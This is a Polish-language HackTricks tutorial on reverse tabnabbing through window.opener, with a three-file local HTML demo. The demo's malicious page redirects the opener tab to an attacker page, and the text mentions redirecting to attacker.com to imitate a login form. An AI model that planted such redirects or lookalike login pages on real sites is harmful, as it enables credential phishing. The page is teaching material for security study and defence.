6.6 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Opis
W sytuacji, w której atakujący może kontrolować argument href
tagu <a
z atrybutem target="_blank" rel="opener"
, który ma zostać kliknięty przez ofiarę, atakujący wskazuje ten link na stronę pod swoją kontrolą (złośliwa strona). Następnie, gdy ofiara kliknie link i uzyska dostęp do strony atakującego, ta złośliwa strona będzie mogła kontrolować oryginalną stronę za pomocą obiektu javascript window.opener
.
Jeśli strona nie ma rel="opener"
ale zawiera target="_blank"
i nie ma rel="noopener"
, może być również podatna.
Zwykłym sposobem na nadużycie tego zachowania byłoby zmiana lokalizacji oryginalnej strony za pomocą window.opener.location = https://attacker.com/victim.html
na stronę kontrolowaną przez atakującego, która wygląda jak oryginalna, aby mogła imitować formularz logowania oryginalnej strony i prosić użytkownika o dane logowania.
Należy jednak zauważyć, że ponieważ atakujący teraz może kontrolować obiekt okna oryginalnej strony, może go nadużywać w inny sposób, aby przeprowadzać ukryte ataki (może modyfikując zdarzenia javascript, aby wykradać informacje na serwer kontrolowany przez niego?)
Przegląd
Z linkiem zwrotnym
Link między stronami nadrzędnymi a podrzędnymi, gdy atrybut zapobiegający nie jest używany:
Bez linku zwrotnego
Link między stronami nadrzędnymi a podrzędnymi, gdy atrybut zapobiegający jest używany:
Przykłady
Utwórz następujące strony w folderze i uruchom serwer www za pomocą python3 -m http.server
Następnie, uzyskaj dostęp do http://127.0.0.1:8000/
vulnerable.html, kliknij w link i zauważ, jak oryginalny adres URL strony się zmienia.
{% code title="vulnerable.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% endcode %}
{% code title="malicious.html" %}
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% endcode %}
{% code title="malicious_redir.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
{% endcode %}
Dostępne właściwości
W scenariuszu, w którym występuje cross-origin (dostęp między różnymi domenami), właściwości instancji klasy JavaScript window, do której odnosi się obiekt JavaScript opener, które mogą być dostępne dla złośliwej witryny, są ograniczone do następujących:
opener.closed
: Ta właściwość jest używana do określenia, czy okno zostało zamknięte, zwracając wartość boolean.opener.frames
: Ta właściwość zapewnia dostęp do wszystkich elementów iframe w bieżącym oknie.opener.length
: Liczba elementów iframe obecnych w bieżącym oknie jest zwracana przez tę właściwość.opener.opener
: Referencja do okna, które otworzyło bieżące okno, może być uzyskana za pomocą tej właściwości.opener.parent
: Ta właściwość zwraca okno nadrzędne bieżącego okna.opener.self
: Ta właściwość zapewnia dostęp do samego bieżącego okna.opener.top
: Ta właściwość zwraca najwyższe okno przeglądarki.
Jednak w przypadkach, gdy domeny są identyczne, złośliwa witryna zyskuje dostęp do wszystkich właściwości udostępnionych przez referencję obiektu JavaScript window.
Zapobieganie
Informacje o zapobieganiu są udokumentowane w HTML5 Cheat Sheet.
Odniesienia
{% hint style="success" %}
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się sztuczkami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.